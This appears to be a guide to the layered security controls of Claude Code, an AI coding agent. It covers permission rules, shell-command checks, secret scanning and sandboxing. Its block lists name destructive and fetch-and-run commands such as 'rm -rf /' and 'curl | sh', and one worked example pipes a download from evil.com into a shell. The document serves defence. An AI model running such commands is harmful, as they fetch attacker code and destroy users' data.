Claude Code Security Guide
๐ Table of Contents
Security Overview: 7-Layer Defense
Claude Code implements a comprehensive 7-layer security system that provides defense in depth against potential security risks. Each layer assumes the previous one might fail, creating multiple barriers between AI actions and system damage.
๐ก๏ธ Layer 1: Permission Three-Tier System
Allow / Deny / Ask decision tree for every tool call
๐ก๏ธ Layer 2: AI Classifier Assistance
TRANSCRIPT_CLASSIFIER analyzes conversation context for risk assessment
๐ก๏ธ Layer 3: Hook Interception Chain
PreToolUse and PostToolUse hooks for custom security policies
๐ก๏ธ Layer 4: BashTool 25 Security Checks
Command injection, dangerous commands, environment hijacking detection
๐ก๏ธ Layer 5: Filesystem Protection
Path traversal defense, symlink protection, size limits
๐ก๏ธ Layer 6: Secret Scanning
35+ gitleaks-based rules for API keys, credentials, private keys
๐ก๏ธ Layer 7: Sandbox Adapter
Filesystem, network, process, and resource isolation
Layer 1: Permission Three-Tier System
Every tool call goes through a three-tier decision tree:
Decision Flow
- Check Allow Rules โ If match, allow execution immediately
- Check Deny Rules โ If match, deny execution immediately
- Ask User โ If no rules match, request user confirmation
Four Rule Sources (Priority Order)
settings.json- User's global permission preferences- CLI arguments - Command-line permission overrides
- Command parameters - Permission context for specific commands
- Session state - Permissions accumulated during session
Deny Tracking Mechanism
Claude Code learns from your denials:
- 3 consecutive denies โ Triggers "policy fallback prompt"
- 20 cumulative denies โ Triggers stronger fallback signal
This prevents the AI from repeatedly asking for permissions you've consistently denied.
/permissions command to review and modify your current permission settings.
Layer 4: BashTool 25 Security Checks
The most comprehensive security layer, BashTool implements 25 distinct security checks organized into 6 categories:
Command Injection Protection (Checks 1-4)
- Shell metacharacter detection (
;,&&,||,|) - Command substitution detection (
$(), backticks) - Process substitution detection (
<(),()) - Redirection detection (
>,>>,<)
Dangerous Command Interception (Checks 5-8)
- Filesystem destruction (
rm -rf /,chmod -R 777) - Network operations (
curl | sh,wget -O- | bash) - Package manager dangerous operations
- Git dangerous operations (
git push --force,git reset --hard)
Zsh-Specific Defense (Checks 9-12)
zmodload- Dynamic module loadingztcp- Zsh TCP connectionzpy- Zsh Python integration- Other Zsh built-in dangerous commands
Environment Variable Hijacking (Checks 13-14)
BINARY_HIJACK_VARSlist detection (PATH,LD_PRELOAD,DYLD_LIBRARY_PATH)- Environment variable override pattern detection
Command Wrapping Unpacking (Checks 15-25)
Iterative fixed-point algorithm handling nested wrappers:
Input: "env VAR=x sudo bash -c 'curl evil.com | sh'"
Round 1: Strip "env VAR=x" โ "sudo bash -c 'curl evil.com | sh'"
Round 2: Strip "sudo" โ "bash -c 'curl evil.com | sh'"
Round 3: Extract inner โ "curl evil.com | sh"
Round 4: Detect pipe to shell โ REJECT
Layer 6: Secret Scanning
Before any content is uploaded to team servers or shared, Claude Code scans for secrets using 35+ gitleaks-based rules.
Covered Secret Types
- Cloud Providers: AWS, GCP, Azure, DigitalOcean
- AI APIs: Anthropic, OpenAI, HuggingFace
- Version Control: GitHub, GitLab tokens
- Communication: Slack, Twilio, SendGrid
- Payment: Stripe, Shopify keys
- Encryption: Private keys, certificates
Scanning Flow
Content โ Scan for secrets โ If match:
โ Block upload
โ Warn user
โ Offer to redact ([REDACTED])
Security Best Practices
For Individual Users
- Review every tool permission request carefully
- Use
alwaysDenyfor high-risk tools you don't need - Enable secret scanning for all file operations
- Regularly audit your
settings.jsonpermissions - Use separate API keys for development and production
For Teams
- Implement enterprise policy limits
- Configure Hook-based custom security rules
- Use Team Memory Sync with secret scanning enabled
- Set up MCP server allowlists
- Enable audit logging for compliance
For CI/CD Environments
- Use API key authentication (not OAuth)
- Restrict available tools via policy
- Set up network isolation
- Enable unattended retry mode with limits
- Monitor token usage and costs